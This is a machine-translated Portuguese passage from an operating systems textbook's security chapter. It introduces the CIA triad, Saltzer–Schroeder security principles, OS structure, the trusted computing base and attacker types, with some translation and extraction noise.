separada por pontos seguida por uma ou mais linhas que 
compõem o artigo publicado. Os assinantes enviam uma mensagem ao corretor com um único 
linha contendo uma linha hierárquica de interesse separada por pontos expressando os artigos que eles 
estão interessados. A linha de juros pode conter o símbolo curinga "*". O corretor 
deve responder enviando todos os artigos (passados) que correspondam ao interesse do assinante. Artigos 
na mensagem são separados pela linha "BEGIN NEW ARTICLE." O assinante 
deve imprimir cada mensagem recebida junto com sua identidade de assinante (ou seja, seu interesse 
linha). O assinante deverá continuar recebendo quaisquer novos artigos publicados e 
corresponder aos seus interesses. Threads de editores e assinantes podem ser criados dinamicamente a partir de 
no terminal digitando "P" ou "S" (para editor ou assinante) seguido pela linha hierárquica de assunto/interesse. Os 
editores solicitarão o artigo. Digitando um único 
linha contendo "." sinalizará o final do artigo. (Este projeto também pode ser implementado utilizando processos que se 
comunicam via TCP.) 
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SEGURANÇA 


Muitas empresas possuem informações valiosas que desejam proteger de perto. 
Entre muitas coisas, esta informação pode ser técnica (por exemplo, um novo design de chip ou 
software), comercial (por exemplo, estudos da concorrência ou planos de marketing), financeiro (por exemplo, 
planos para uma oferta de ações) ou jurídico (por exemplo, documentos sobre um potencial 
fusão ou aquisição). A maior parte dessas informações é armazenada em computadores. Os computadores 
domésticos também possuem cada vez mais dados valiosos. Muitas pessoas mantêm suas informações 
financeiras, incluindo declarações fiscais e números de cartão de crédito, em seus computadores. 
As cartas de amor tornaram-se digitais. E discos (o que também significa SSDs neste 
capítulo) hoje em dia estão cheios de fotos, vídeos e filmes importantes. 
À medida que mais e mais informações são armazenadas em sistemas de computador, surge a necessidade 
protegê-lo está se tornando cada vez mais importante. Protegendo as informações contra 
o uso não autorizado é, portanto, uma grande preocupação de todos os sistemas operacionais. Infelizmente, isso 
também está se tornando cada vez mais difícil devido à aceitação generalizada do inchaço do sistema (e dos 
bugs que o acompanham) como um fenômeno normal. Em 
Neste capítulo, examinaremos a segurança do computador conforme ela se aplica aos sistemas operacionais. 
As questões relacionadas à segurança do sistema operacional mudaram radicalmente no 
últimas décadas. Até o início da década de 1990, poucas pessoas tinham computador em casa 
e a maior parte da computação foi feita em empresas, universidades e outras organizações 
em computadores multiusuários, desde grandes mainframes até minicomputadores. Aproximadamente 
todas essas máquinas estavam isoladas, não conectadas a nenhuma rede. Como consequência desta situação, 
a segurança estava quase inteiramente focada em como manter a segurança. 


usuários longe uns dos outros. Se Elinor e Carolyn fossem usuárias registradas do 
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no mesmo computador, o truque era garantir que nenhum deles pudesse ler ou adulterar 
com os arquivos do outro, mas permitir que eles compartilhem os arquivos que desejam compartilhar. Modelos 
e mecanismos elaborados foram desenvolvidos para garantir que nenhum usuário pudesse obter 


direitos de acesso aos quais não tinha direito. Veremos alguns destes 
modelos na Sec. 9.3. 


Às vezes, os modelos e mecanismos envolviam classes de usuários, em vez de 


apenas indivíduos. Por exemplo, num computador militar, os dados tinham que ser marcados como 
ultrassecreto, secreto, confidencial ou público, e os cabos tinham que ser impedidos de 

bisbilhotando diretórios de generais, não importando quem era o cabo e quem era o general. Todos esses 
temas foram minuciosamente investigados, relatados e implementados ao longo de décadas. 


Uma suposição tácita era que, uma vez escolhido um modelo e feita uma implementação, o software 
estaria basicamente correto e aplicaria qualquer coisa que fosse necessária. 
as regras eram. Os modelos e software eram geralmente bastante simples, então a suposição geralmente se 
mantinha. Assim, se teoricamente não era permitido a Elinor olhar para um certo 
um dos arquivos de Carolyn, na prática ela realmente não conseguiria fazer isso. 

Com a ascensão dos computadores pessoais, dos tablets, dos smartphones e da Internet, 
a situação mudou. Por exemplo, muitos dispositivos têm apenas um usuário, então a ameaça 
de um usuário bisbilhotando os arquivos de outro usuário praticamente desapareceu. Claro, isso 
não é verdade em servidores compartilhados (possivelmente na nuvem). Aqui há muito interesse 
em manter os usuários estritamente isolados. Além disso, a espionagem ainda acontece — na rede, por 
exemplo. Se Elinor estiver nas mesmas redes Wi-Fi que Carolyn, ela poderá interceptar todos 
de seus dados de rede. Módulo o Wi-Fi, este não é um problema novo. Mais de 2.000 
anos atrás, Júlio César enfrentou o mesmo problema. César precisava enviar mensagens para 
suas legiões e aliados, mas sempre havia uma chance de que a mensagem fosse interceptada por seus 
inimigos. Para ter certeza de que seus inimigos não seriam capazes de ler seu 
comandos, César usou criptografia - substituindo cada letra da mensagem pelo 
letra que estava, digamos, três posições à esquerda dela no alfabeto. Assim, um “D” tornou-se um “A”, um “E” 
tornou-se um “B” e assim por diante. Embora as técnicas de criptografia atuais sejam mais sofisticadas, o 
princípio é o mesmo: sem o conhecimento do 
chave secreta, o adversário não deverá ser capaz de ler a mensagem. 

Infelizmente, isto nem sempre funciona, porque a rede não é a única 
lugar onde Elinor pode bisbilhotar Carolyn. Se Elinor conseguir invadir a casa de Carolyn 
computador, ela pode interceptar todas as mensagens enviadas antes e todas as recebidas 
mensagens depois de serem criptografadas. Invadir o computador de alguém não é 
sempre fácil, mas muito mais fácil do que deveria ser (e normalmente muito mais fácil do que quebrar a chave 
de criptografia de 2.048 bits de alguém). O problema é causado por bugs no software do computador de 
Carolyn. Felizmente para Elinor, as operações cada vez mais inchadas 
sistemas e aplicações garantem que não faltam bugs. Quando um bug é 
um bug de segurança, chamamos isso de vulnerabilidade. Quando Elinor descobre uma vulnerabilidade em 
software de Carolyn, ela tem que alimentá-lo com exatamente os bytes certos para 
acionar o bug. Uma entrada que aciona um bug como essa geralmente é chamada de exploração. Muitas vezes, 
explorações bem-sucedidas permitem que os invasores assumam o controle total do computador. Fraseado 
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diferentemente: embora Carolyn possa pensar que é a única usuária do computador, ela na verdade não 
está sozinha! 

Os invasores abusam de explorações manual ou automaticamente para executar software malicioso 
ou malware. O malware aparece sob diferentes formas e há muita confusão 
sobre terminologia. Referimo-nos a malware que infecta computadores injetando-se 
em outros arquivos (geralmente executáveis) como um vírus. Em outras palavras, um vírus precisa de outro 
programa e normalmente alguma forma de interação do usuário para se propagar. Por exemplo, 
o usuário deve clicar em um anexo para ser infectado. Em contraste, um verme é autopropelido. Ele se 
propagará independentemente do que o usuário fizer. Vermes bem conhecidos em 
o passado verificava aleatoriamente endereços IP na Internet para ver se encontravam um 
máquina com software vulnerável e, se for o caso, infecte-a, enxágue e repita. Um troiano, 
ou cavalo de Tróia, é um malware oculto em algo que parece legítimo e/ou 
útil. Ao reempacotar software popular, mas caro (como um jogo ou um texto 
processador) e oferecendo-o gratuitamente na Internet, os invasores fazem com que os usuários o instalem 
eles mesmos. Para muitos usuários, “grátis” é completamente irresistível. No entanto, instalar 
o jogo gratuito também instala automaticamente funcionalidades adicionais, do tipo que 
entrega o PC e tudo o que contém a um cibercriminoso distante. 

Este capítulo tem duas partes principais. Na primeira parte, abordamos o tema da segurança de uma 
forma baseada em princípios. Isto inclui os fundamentos de segurança (Seção 9.1), 
diferentes abordagens para fornecer controle de acesso (Seção 9.2) e modelos formais de 
sistemas seguros (Seção 9.3), que inclui modelos formais para controle de acesso e 
criptografia. A autenticação (Seção 9.4) também pertence a esta parte. 

Até agora, tudo bem — em teoria. Então a realidade entra em ação e a segunda parte apresenta 
problemas práticos de segurança que ocorrem na vida diária. Vamos falar sobre os truques 
que os invasores usam para assumir o controle de um sistema de computador usando vulnerabilidades de 
software, bem como algumas contramedidas comuns para evitar que isso aconteça 
(Seção 9.5). Infelizmente, os bugs de software não são mais a nossa única preocupação e nós 
examinaremos brevemente as vulnerabilidades de hardware — por exemplo, canais laterais de cache e 
ataques de execução especulativa (Seção 9.6). No entanto, mesmo que o hardware e o software estejam 
corretos, ainda existe o humano e, portanto, olhamos brevemente para os detalhes internos. 
ameaças também (Seção 9.7). Dada a importância da segurança nos sistemas operacionais, o 
comunidade de segurança desenvolveu uma variedade de técnicas para fortalecer a operação 
sistema contra ataques e revisaremos os mais importantes (Seção 9.8). 


9.1 FUNDAMENTOS DE SEGURANÇA DO SISTEMA OPERACIONAL 


Algumas pessoas tendem a usar os termos “segurança” e “proteção” de forma intercambiável. No 
entanto, é frequentemente útil fazer uma distinção entre o 
problemas envolvidos em garantir que os arquivos não sejam lidos ou modificados por pessoas não 
autorizadas, que incluem questões técnicas, administrativas, jurídicas e políticas, 
e os conjuntos específicos de regras mantidos pelo sistema operacional para proteger objetos 
contra ações não autorizadas. Para evitar confusão, usaremos o termo segurança para 
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referem-se ao problema geral e o termo domínio de proteção para indicar o exato 

conjunto de operações (como ler ou escrever um arquivo ou página de memória) um usuário ou processo 
tem permissão para executar nos objetos do sistema. Além disso, usaremos mecanismo de segurança 
para nos referirmos a uma técnica específica usada pelo sistema operacional para 

proteger informações no computador. Um exemplo de mecanismo de segurança é definir o bit supervisor 
em uma entrada da tabela de paginação de uma página que deveria ser inacessível para 

aplicativos do usuário. Finalmente, usaremos o termo domínio de segurança de forma informal. 

forma de se referir a software que, por um lado, precisa ser capaz de executar suas tarefas 

segurança e, por outro lado, precisa ser impedido de colocar em risco a segurança de terceiros. 
Exemplos de domínios de segurança incluem os componentes do kernel do sistema operacional, 
processos e máquinas virtuais. Se ampliarmos o suficiente, veremos 

que a noção de domínio de segurança é simplesmente uma maneira conveniente de apontar 

Programas. Contudo, do ponto de vista da segurança, tudo o que é relevante num domínio de segurança 
é definido pelo seu domínio de proteção. 


9.1.1 A Tríade de Segurança da CIA 


Muitos textos sobre segurança decompõem a segurança de um sistema de informação em três 
componentes: confidencialidade, integridade e disponibilidade. Juntos, eles são frequentemente 
referido como "CIA." Eles são mostrados na Fig. 9-1 e constituem o núcleo de segurança 
propriedades que devemos proteger contra invasores e bisbilhoteiros - como o 
(outro) CIA. 

A primeira, confidencialidade, diz respeito a manter os dados secretos em segredo. 

Mais especificamente, se o proprietário de alguns dados tiver decidido que esses dados serão 
disponibilizado apenas para certas pessoas e não para outras, o sistema deve garantir 

que a divulgação dos dados a pessoas não autorizadas nunca ocorra. Como mínimo absoluto, o 
proprietário deverá ser capaz de especificar quem pode ver o quê, e o sistema 

deve aplicar essas especificações, que idealmente devem ser por arquivo. 


Meta Ameaça 


Confidencialidade Exposição de dados 


Integridade Adulteração de dados 


Disponibilidade Negação de serviço 


Figura 9-1. Metas e ameaças de segurança. 


A segunda propriedade, integridade, significa que usuários não autorizados não devem ser 
capaz de modificar quaisquer dados sem a permissão do proprietário. Modificação de dados neste 
contexto inclui não apenas alterar os dados, mas também remover dados e adicionar 
dados falsos. Se um sistema não puder garantir que os dados nele depositados permaneçam inalterados 
até que o proprietário decida alterá-los, não vale muito para armazenamento de dados. 

A terceira propriedade, disponibilidade, significa que ninguém pode perturbar o sistema para 
torná-lo inutilizável. Esses ataques de negação de serviço são cada vez mais comuns. Para 
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Por exemplo, se um computador for um servidor de Internet, o envio de uma enxurrada de solicitações a ele poderá 
prejudicá-lo, consumindo todo o tempo da CPU apenas examinando e descartando a entrada 
solicitações de. Se levar, digamos, 100 segupdos para processar uma solicitação recebida para ler um arquivo Web 
página, então qualquer um que conseguir enviar 10.000 solicitações/seg poderá eliminá-la. Modelos e tecnologias 
razoáveis para lidar com ataques à confidencialidade e 
integridade estão disponíveis; frustrar ataques de negação de serviço é muito mais difícil. 

Mais tarde, as pessoas decidiram que três propriedades fundamentais não eram suficientes para 
todos os cenários possíveis, e então adicionaram outros, como autenticidade, 
responsabilidade, não repúdio e outros. Claramente, é bom ter tudo isso. 
Mesmo assim, os três originais ainda têm um lugar especial nos corações e mentes da maioria 


especialistas em segurança (idosos). 
9.1.2 Princípios de Segurança 


Embora os desafios relacionados com a salvaguarda destas propriedades também tenham evoluído 
nas últimas décadas, os princípios permaneceram praticamente os mesmos. Para 
Por exemplo, quando poucas pessoas tinham seus próprios computadores e a maior parte da computação era feita 
em sistemas de computador multiusuário (geralmente baseados em mainframe) com conectividade limitada, 
a segurança concentrava-se principalmente em isolar usuários ou classes de usuários uns dos outros. 
O isolamento garante a separação de componentes (programas, sistemas de computador, 
ou mesmo redes inteiras) que pertencem a diferentes domínios de segurança ou têm diferentes 
privilégios. Toda interação entre os diferentes componentes que ocorre é 
mediado com verificações de privilégio adequadas. Hoje, o isolamento ainda é um ingrediente-chave da 
segurança. Mesmo as entidades a isolar permaneceram, em geral, as mesmas. Vamos 
refira-se a eles como domínios de segurança. Os domínios de segurança tradicionais para sistemas operacionais 
são processos e kernels, e para hipervisores, máquinas virtuais (VMs). 
Desde então, alguns domínios de segurança (como ambientes de execução confiáveis) 
foram adicionados à mistura, mas estes ainda são os principais domínios de segurança hoje. Há 
não há dúvida, porém, que as ameaças evoluíram tremendamente e, em resposta, 
possuem os mecanismos de proteção. 
Embora seja certamente necessário abordar questões de segurança em todas as camadas da pilha de rede, 
é muito difícil determinar quando você as solucionou. 
suficientemente e se você abordou todos eles. Em outras palavras, garantir a segurança é difícil. Em vez disso, 
tentamos melhorar a segurança tanto quanto possível, através de 
aplicação de um conjunto de princípios de segurança. Os princípios clássicos de segurança para sistemas 
operacionais foram formulados já em 1975 por Jerome Saltzer e Michael Schroeder: 


1. Princípio da economia de mecanismo. Este princípio é por vezes 
parafraseado como o princípio da simplicidade. Sistemas complexos sempre 
têm mais bugs do que sistemas simples. Além disso, os utilizadores podem não os compreender 
bem e utilizá-los de forma errada ou insegura. Sistemas simples são bons sistemas. Isto 
também se aplica às soluções de segurança. Um de 
as razões pelas quais o Multics não se tornou um grande sistema operacional 


é que muitos usuários e desenvolvedores acharam isso complicado na prática. 


Machine Translated by Google 


610 


SEGURANÇA INDIVÍDUO. 9 


A simplicidade também ajuda a minimizar a superfície de ataque (todos os pontos 
onde um invasor pode interagir com o sistema para tentar comprometê-lo). Um 
sistema que oferece um grande conjunto de funções para usuários não confiáveis, 
cada uma implementada por muitas linhas de código, possui uma grande superfície 
de ataque. Se uma função não for realmente necessária, deixe-a de fora. 
Antigamente, quando a memória era cara e escassa, os programadores seguiam 
esse princípio por necessidade. O minicomputador PDP-1, no qual um dos autores 
começou a trabalhar (programação), tinha 4K de palavras de 18 bits ou cerca de 9 
KB de memória interna total. Ele administrava um sistema de compartilhamento de 
tempo que podia suportar três usuários simultâneos. Os programas eram 
necessariamente muito simples. Hoje em dia você não consegue nem inicializar o 


computador com menos de um gigabyte de RAM e todo esse inchaço torna os 
programas cheios de bugs e pouco confiáveis. 


2. Princípio dos padrões à prova de falhas. Digamos que você precise organizar o 
acesso a um recurso. É melhor estabelecer regras explícitas sobre como os 
usuários podem acessar o recurso do que tentar identificar a condição sob a qual o 
acesso ao recurso deve ser negado. Dito de outra forma: um padrão de falta de 
permissão é mais seguro. É assim que as portas trancadas funcionam: se você não 
tiver a chave, não poderá entrar. 


3. Princípio da mediação completa. Todo acesso a cada recurso deve ser verificado 
quanto à autoridade. Isso implica que devemos ter uma forma de determinar a 
origem de uma solicitação (o solicitante). 


4. POLA (Princípio da menor autoridade). Este princípio afirma que qualquer 
(sub)sistema deve ter autoridade (privilégio) apenas suficiente para executar sua 
tarefa e nada mais. Assim, se os invasores comprometerem tal sistema, eles 
elevarão seus privilégios apenas no mínimo. 


5. Princípio da separação de privilégios. Intimamente relacionado ao ponto anterior: 
é melhor dividir o sistema em vários componentes compatíveis com POLA do que 
um único componente com todos os privilégios combinados. Novamente, se um 
componente for comprometido, os invasores ficarão limitados no que podem fazer. 


6. Princípio do mecanismo menos comum. Este princípio é um pouco mais complicado 
e afirma que devemos minimizar a quantidade de mecanismo comum a mais de um 
usuário e do qual todos os usuários dependem. Pense desta forma: se tivermos a 
escolha entre implementar uma rotina de sistema de arquivos no sistema 
operacional onde suas variáveis globais são compartilhadas por todos os usuários, 
ou em uma biblioteca de espaço do usuário que, para todos os efeitos, é privada 
do processo do usuário, devemos optar pelo último. 

Os dados compartilhados no sistema operacional podem servir como um caminho 


de informação entre diferentes usuários. Veremos exemplos de tais canais 
secundários mais tarde. 
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7. Princípio do Design Aberto. Isto afirma pura e simplesmente que o design não 
deve ser secreto e generaliza o que é conhecido como princípio de Kerck 
hoffs em criptografia. Em 1883, Auguste Kerckhoffs, nascido na Holanda, 
publicou dois artigos de jornal sobre criptografia militar que afirmavam que um 
sistema criptográfico deveria ser seguro mesmo que tudo sobre o sistema, 
exceto a chave, fosse de conhecimento público. Em outras palavras, não confie 
na “segurança pela obscuridade”, mas presuma que o adversário imediatamente 
ganha total familiaridade com o seu sistema e conhece os algoritmos de 
criptografia e descriptografia. Em termos modernos, significa que você deve 
presumir que o inimigo possui o código-fonte do sistema de segurança. 

Melhor ainda, você mesmo deve publicá-lo para evitar se enganar pensando que 
é secreto. Provavelmente não é. 


8. Princípio da Aceitabilidade Psicológica. O princípio final não é de todo técnico. 
As regras e mecanismos de segurança devem ser fáceis de usar e compreender. 
No entanto, a aceitabilidade implica mais. Além da usabilidade do mecanismo, 
também deve ficar claro por que as regras e os mecanismos são necessários 
em primeiro lugar. 


9.1.3 Segurança da Estrutura do Sistema Operacional 


O sistema operacional é responsável por fornecer uma base sobre a qual os 
desenvolvedores possam construir aplicações em seus próprios domínios de segurança e por 
proteger sua confidencialidade, integridade e disponibilidade. Para fazer isso, ele usa os 
princípios de segurança do parágrafo anterior — isolar os domínios de segurança uns dos outros 
e mediar todas as operações que possam violar o isolamento e todas as outras coisas 
interessantes. 

Como vimos na Sec. 1.7, existem diferentes maneiras de projetar um sistema operacional. 
Acontece que a estrutura é importante para a segurança e alguns projetos são inerentemente 
incompatíveis com alguns dos princípios de segurança. Por exemplo, nos primeiros sistemas 
operacionais do passado, e em muitos sistemas embarcados de hoje, não há isolamento 
algum. Todas as funcionalidades do aplicativo e do sistema operacional são executadas em um 
único domínio de segurança. Nesse projeto, não há noção de separação de privilégios ou POLA. 

Outra classe importante de sistemas operacionais segue um design monolítico onde a 
maior parte do sistema operacional reside em um único domínio de segurança, mas isolado 
dos aplicativos. Os aplicativos também são isolados uns dos outros. 

A maioria dos sistemas operacionais de uso geral segue esse design. Como os componentes 
do sistema operacional podem interagir usando chamadas de função e memória compartilhada, 
é muito eficiente. Além disso, o design protege as partes mais privilegiadas do sistema (o 
kernel do sistema operacional) das partes menos privilegiadas (processos do usuário). No 
entanto, se os invasores conseguirem comprometer qualquer componente do kernel monolítico, 
todas as garantias de segurança estarão quebradas. 
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Infelizmente, há muito código lá. Sistemas operacionais como Linux e Windows consistem em 
milhões de linhas de código de programa. Uma vulnerabilidade em qualquer uma dessas linhas pode 
ser fatal. Isso é ruim o suficiente para o código que faz parte do sistema operacional principal, pois 
geralmente é cuidadosamente examinado em busca de bugs, mas fica pior quando falamos sobre 
drivers de dispositivos e outras extensões do kernel. Frequentemente escritos por terceiros, eles 
tendem a ter mais bugs do que o código principal do sistema operacional. Se você comprar uma 
impressora 3D nova e bacana, quase certamente terá que baixar e instalar em seu kernel um grande 
software sobre o qual você nada sabe e que pode conter muitos bugs e explorações. Isto não deveria 
ser necessário. 

Um projeto alternativo que discutimos é dividir o sistema operacional em muitos componentes 
pequenos, cada um executado em um domínio de segurança separado. Esta é a abordagem adotada 
pelo MINIX 3, mostrada na Figura 1.26. Tal projeto de sistema operacional multiservidor pode ter 
domínios de segurança para o código de gerenciamento de processos, as funções de gerenciamento 
de memória, a pilha de rede, o sistema de arquivos e todos os drivers do sistema — com um 
microkernel muito pequeno rodando com privilégios mais altos para implementar o isolamento. no 
nível mais baixo. O modelo é menos eficiente que o monolítico, porque até mesmo os componentes 
do sistema operacional devem agora se comunicar entre si usando IPC. Por outro lado, aderir aos 
princípios de segurança é muito mais fácil. Embora um driver de impressora comprometido ainda 
possa embelezar as páginas que saem da impressora com mensagens e emojis hilariantes, ele não 
é mais capaz de passar as chaves do reino para as pessoas más. 


Os Unikernels, finalmente, adotam outra abordagem. Aqui, um kernel mínimo é responsável 
apenas por particionar os recursos no nível mais baixo, mas toda a funcionalidade do sistema 
operacional necessária para a aplicação única é implementada no domínio de segurança da aplicação 
na forma de um “LibOS” mínimo. aplicativos para personalizar a funcionalidade do sistema 
operacional exatamente de acordo com suas necessidades e deixar de fora tudo o que eles não 
precisam. Fazer isso reduz a superfície de ataque. Embora você possa objetar que executar tudo no 
mesmo domínio de segurança é ruim para a segurança, não se esqueça de que existe apenas um 
único aplicativo nesse domínio — qualquer comprometimento afetará apenas esse aplicativo. 


9.1.4 Base de computação confiável 


Vamos nos aprofundar um pouco mais nisso. No mundo da segurança, as pessoas falam 
frequentemente sobre sistemas confiáveis em vez de sistemas seguros. Esses são sistemas que 
possuem requisitos de segurança formalmente declarados e atendem a esses requisitos. No centro 
de cada sistema confiável está um TCB (Trusted Computing Base) mínimo que consiste no 
hardware e software necessários para fazer cumprir todas as regras de segurança. Se a base de 
computação confiável estiver funcionando de acordo com as especificações, a segurança do sistema 
não poderá ser comprometida, não importa o que mais esteja errado. 

O TCB normalmente consiste na maior parte do hardware (exceto dispositivos de E/S que não 
afetam a segurança), uma parte do kernel do sistema operacional e a maioria ou todos os programas 
de usuário que possuem poder de superusuário (por exemplo, programas raiz SETUID no UNIX). ). 
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As funções do sistema operacional que devem fazer parte do TCB incluem criação de processos, comutação de processos, 
gerenciamento de memória e parte do gerenciamento de arquivos e E/S. Em um design seguro, muitas vezes o TCB estará 


bastante separado do resto do sistema operacional para minimizar seu tamanho e verificar sua exatidão. 


Uma parte importante do TCB é o monitor de referência, conforme mostrado na Figura 9-2. 
O monitor de referência aceita todas as chamadas do sistema que envolvem segurança, como abertura de arquivos, e decide se 
devem ser processadas ou não. O monitor de referência cuida assim da mediação, permitindo que todas as decisões de segurança 
sejam colocadas em um só lugar, sem possibilidade de contorná-la. A maioria dos sistemas operacionais não é projetada dessa 


forma, o que é parte da razão pela qual são tão inseguros. 


Processo do usuário 


Do utilizador 
espaço 
Todas as chamadas do sistema passam 

pelo monitor de referência para verificação de segurança 


Monitor de referência z 
| Núcleo 


Base de computação confiável ? espaço 


Kernel do sistema operacional 


Figura 9-2. Um monitor de referência. 


A TCB está intimamente relacionada com os princípios de segurança que discutimos anteriormente. Por exemplo, um TCB 
bem projetado é simples, separa privilégios, aplica o princípio do menor privilégio e assim por diante. Isso nos traz de volta ao 
projeto do sistema operacional. Para alguns projetos de sistemas operacionais, o TCB é enorme. No Windows ou Linux, o TCB 
consiste em todo o código executado no kernel. Isso inclui todas as funcionalidades básicas, mas também todos os drivers. Se 
você quiser ser exigente, ele também inclui o compilador, já que um compilador não autorizado poderia reconhecer quando está 


compilando o sistema operacional e inserir intencionalmente explorações nele que não aparecem no código-fonte. 


Um dos objetivos de algumas pesquisas atuais sobre segurança é reduzir a base de computação confiável de milhões de 
linhas de código para apenas dezenas de milhares de linhas de código. Considere o sistema operacional MINIX 3: um sistema 
compatível com POSIX, mas com uma estrutura radicalmente diferente do Linux ou do FreeBSD. Com o MINIX 3, apenas cerca de 
15.000 linhas de código são executadas no kernel. Todo o resto é executado como um conjunto de processos de usuário. Alguns 
deles, como o sistema de arquivos e o gerenciador de processos, fazem parte do TCB, pois podem facilmente comprometer a 
segurança do sistema. Mas outras partes, como o driver de impressora e o driver de áudio, não fazem parte da base de computação 


confiável e não importa o que haja de errado com eles (mesmo que sejam controlados por um vírus), 
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não há nada que possam fazer para comprometer a segurança do sistema. Ao reduzir a base de 
computação confiável em duas ordens de grandeza, sistemas como o MINIX 3 podem oferecer 
potencialmente uma segurança muito maior do que os projetos convencionais. 

Os Unikernels podem reduzir o TCB de uma forma diferente, removendo agressivamente tudo 
o que não é essencial para a aplicação no Unikernel. Embora possa haver pouca ou nenhuma 
separação entre o sistema operacional e o kernel, a quantidade total de código no TCB é muito 
reduzida em comparação com sistemas monolíticos. 
A questão é que a estrutura do sistema operacional tem consequências importantes para as garantias 
de segurança. 


9.1.5 Atacantes 


Os sistemas estão sob constante ameaça de invasores que tentam violar as garantias de 
segurança fornecidas pelo sistema operacional ou hipervisor, roubando dados confidenciais, 
modificando dados aos quais não deveriam ter acesso ou travando o sistema. 

Há muitas maneiras pelas quais um estranho pode atacar um sistema; veremos alguns deles 
mais adiante neste capítulo. Muitos dos ataques hoje em dia são apoiados por ferramentas e serviços 
altamente avançados. Algumas dessas ferramentas são construídas por criminosos, outras por 
“hackers éticos”, que tentam ajudar as empresas a encontrar falhas em seus softwares para que 
possam ser reparados antes de serem lançados. 

Aliás, a imprensa popular tende a usar o termo genérico “hacker” para designar os criminosos. 
No entanto, no mundo da informática, “nacker” é um termo de honra reservado a todos os grandes 
programadores. Embora alguns deles sejam bandidos, a maioria não o é. 

A imprensa entendeu errado. Em deferência aos verdadeiros hackers, usaremos o termo no sentido 
original e chamaremos de crackers as pessoas que tentam invadir sistemas de computadores 
aos quais não pertencem. 

Hackers e crackers influenciaram o design do sistema operacional de várias maneiras. Não só 
os sistemas operacionais adotaram uma ampla variedade de mecanismos de proteção para evitar 
que invasores comprometessem o sistema, como o cenário dos crackers também serviu de fonte de 
inspiração para os primeiros pioneiros da informática. Steve Wozniak e Steve Jobs passaram seu 
tempo desenvolvendo ferramentas para phreaking telefônico (crackear o sistema de telefonia) antes 
de prosseguirem para a construção de um computador pessoal que decidiram chamar de Apple. De 
acordo com Wozniak, não haveria Apple sem John Draper, um polêmico cracker popularmente 
conhecido como Captain Crunch. Ele adquiriu o apelido quando descobriu que o apito de brinquedo 
em uma embalagem de cereais Cap'n Crunch emitia um tom de 2.600 Hz, que por acaso era a 
frequência exata usada pela AT&T para autorizar suas (então caras) ligações de longa distância. 
Antes de fundar uma das empresas de informática mais bem-sucedidas da história, os dois Steves 
também passavam o tempo tentando receber ligações de graça. 


Na literatura de segurança, as pessoas que estão bisbilhotando lugares onde não têm nada a 
ver também podem ser chamadas de invasores, intrusos ou, às vezes, adversários. Algumas 
décadas atrás, hackear sistemas de computador consistia em mostrar seu 
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amigos, quão inteligente você era (e os autores não confirmarão nem negarão os rumores de 
que eles se envolveram em tais atividades quando eram mais jovens). Hoje em dia, porém, esta 
não é mais a única ou mesmo a mais importante razão para invadir um sistema. 

Existem muitos tipos diferentes de invasores com diferentes tipos de motivação. 

Estes incluem roubo, hacktivismo, vandalismo, terrorismo, guerra cibernética, espionagem, 
spam, extorsão, fraude — e ocasionalmente o atacante ainda quer simplesmente exibir ou expor 
a fraca segurança de uma organização. 

Da mesma forma, os invasores variam de iniciantes não muito habilidosos, que querem ser 
cibercriminosos, mas ainda não aprenderam o básico, até crackers extremamente habilidosos. 
Eles podem ser profissionais que trabalham para criminosos, governos (por exemplo, a polícia, 
os militares ou os serviços secretos) ou empresas de segurança — ou amadores que fazem todo 
o trabalho de hacking em seu tempo livre. Deveria ficar claro que tentar impedir que um governo 
estrangeiro hostil roube segredos militares é uma questão bem diferente de tentar impedir que 
os estudantes insiram uma mensagem engraçada do dia no sistema. A quantidade de esforço 
necessária para a segurança e protecção depende claramente de quem se pensa ser o inimigo. 


Voltando às ferramentas de ataque, pode ser uma surpresa que muitas delas sejam 
desenvolvidas por chapéus brancos. A explicação é que, embora os bandidos também possam 
usá-las (e façam), essas ferramentas servem principalmente como meios convenientes para 
testar a segurança de um sistema de computador ou rede. Por exemplo, um fuzzer é uma 
ferramenta de teste de software que lança entradas inesperadas e/ou inválidas em programas 
para ver se o programa trava ou trava — evidência de bugs que devem ser corrigidos. Alguns 
fuzzers só podem ser usados em programas de usuário simples, mas outros visam explicitamente 
o sistema operacional. Um bom exemplo é o syzkaller do Google , que executa chamadas de 
sistema de forma semi-aleatória com combinações malucas de argumentos para acionar bugs 
no kernel. Fuzzers podem ser usados por desenvolvedores para testar seu próprio código ou por 
usuários corporativos para testar o software que adquiriram, mas também por crackers que 
procuram vulnerabilidades que lhes permitam comprometer o sistema. Uma ferramenta útil tanto 
para atacantes quanto para defensores é conhecida como uso duplo. Existem muitos exemplos de tais ferramer 

No entanto, os cibercriminosos também oferecem uma ampla gama de serviços (geralmente 
on-line) para aspirantes a cibercriminosos que desejam espalhar malware, lavar dinheiro, 
redirecionar o tráfego, fornecer hospedagem com uma política de não fazer perguntas e muitas 
outras coisas que se enquadram no modelo de negócios percebido. A maior parte das actividades 
criminosas na Internet baseiam-se em infra-estruturas conhecidas como botnets , que consistem 
em milhares (e por vezes milhões) de computadores comprometidos — muitas vezes 
computadores normais de utilizadores inocentes e ignorantes. Existem muitas maneiras pelas 
quais os invasores podem comprometer a máquina de um usuário. Embora os hackers dos 
filmes normalmente “invadam” o sistema explorando com grande genialidade alguma minúscula 
fraqueza nas defesas da vítima (seja lá o que isso signifique), a realidade pode ser mais prosaica. 
Por exemplo, eles podem adivinhar a senha, porque "letmein" ou "password" acabam sendo 
menos seguros do que muitas pessoas pensam. O oposto também acontece. Alguns usuários 
escolhem senhas muito complicadas, de modo que não conseguem se lembrar delas e têm que 
anotá-las em um post-it que afixam na tela ou no teclado. Desta forma, qualquer um 
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com acesso físico à máquina (incluindo o pessoal de limpeza, secretária e todos os visitantes) 
também tem acesso a tudo o que está na máquina e também a todas as outras máquinas às 
quais aquele tem acesso automático. 

Outro truque para infectar o computador de alguém é oferecer versões gratuitas, mas 
maliciosas, de softwares populares que os próprios usuários instalam: cavalos de Tróia. 
Infelizmente, existem muitos outros exemplos, e incluem funcionários de alto escalão que 
perdem pen drives com informações confidenciais, discos rígidos antigos com segredos 
comerciais que não são devidamente apagados antes de serem descartados na lixeira, e assim 
por diante. Nenhum deles é terrivelmente sofisticado. 

No entanto, alguns dos incidentes de segurança mais importantes devem -se a ataques 
cibernéticos sofisticados. Neste livro, estamos interessados especificamente em ataques 
relacionados ao sistema operacional. Em outras palavras, não examinaremos ataques na Web 
ou ataques a bancos de dados SQL. Em vez disso, concentramo-nos em ataques em que o 
sistema operativo é o alvo do ataque ou desempenha um papel importante na aplicação (ou, 
mais comummente, na falha na aplicação) das políticas de segurança. Se você estiver 
interessado em segurança de rede, existem muitos livros sobre o assunto, incluindo Kaufman 
et al. (2022), Moseley (2021), Santos (2022), Schoenfield (2021) e Van Oorschot (2020). 
